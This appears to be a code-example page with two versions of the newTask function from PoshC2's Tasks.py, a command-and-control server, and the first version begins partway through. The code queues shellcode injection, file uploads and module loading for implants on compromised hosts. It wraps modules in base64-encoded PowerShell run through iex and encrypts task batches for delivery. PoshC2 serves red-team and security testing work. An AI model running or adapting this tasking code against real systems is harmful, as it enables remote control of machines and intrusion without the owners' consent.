                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                    elif a[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (a[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif a[2].startswith("pslo "):
                        try:
                            module_name = (a[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif a[2].startswith("pbind-loadmodule"):
                        try:
                            module_name = (a[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(a[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return default_response()
예제 #5
0
파일: Tasks.py 프로젝트: yunzheng/PoshC2
def newTask(path):
    result = DB.get_implants_all()
    commands = ""
    if result:
        for i in result:
            RandomURI = i[1]
            EncKey = i[5]
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for a in tasks:
                    command = a[2]
                    user = a[3]
                    user_command = command
                    hostinfo = DB.get_hostinfo(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower().startswith("$shellcode64")) or (
                            command.lower().startswith("$shellcode86")
                            or command.lower().startswith(
                                "run-exe core.program core inject-shellcode")):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif (command.lower().startswith('upload-file')):
                        upload_args = command.replace('upload-file', '')
                        if ";" in upload_args:
                            # This is a SharpHandler
                            filename = upload_args.split(";")[1].replace(
                                '"', '').strip()
                            file_b64 = upload_args.split(";")[0].replace(
                                '"', '').strip()
                        elif "estination" in upload_args:
                            # This is a PSHandler
                            split_args = upload_args.split(" ")
                            filename = split_args[
                                split_args.index("-Destination") + 1]
                            file_b64 = split_args[split_args.index("-Base64") +
                                                  1]
                            print(file_b64)
                        elif ":" in upload_args:
                            # This is a PyHandler
                            filename = upload_args.split(":")[0].replace(
                                '"', '').strip()
                            file_b64 = upload_args.split(":")[1].replace(
                                '"', '').strip()
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        filehash = hashlib.md5(
                            base64.b64decode(file_b64)).hexdigest()
                        user_command = "Uploading file: %s with md5sum: %s" % (
                            filename, filehash)
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, hostinfo[0], hostinfo[11],
                               hostinfo[2], hostinfo[3],
                               now.strftime("%d/%m/%Y %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            %
                            (taskIdStr, hostinfo[0], hostinfo[11], hostinfo[2],
                             hostinfo[3], now.strftime("%d/%m/%Y %H:%M:%S")))
                    try:
                        print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if a[2].startswith("loadmodule"):
                        try:
                            module_name = (a[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                    if a[2].startswith("pbind-loadmodule"):
                        try:
                            module_name = (a[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "pbind-command \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(a[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
                                           RandomURI)
                return default_response()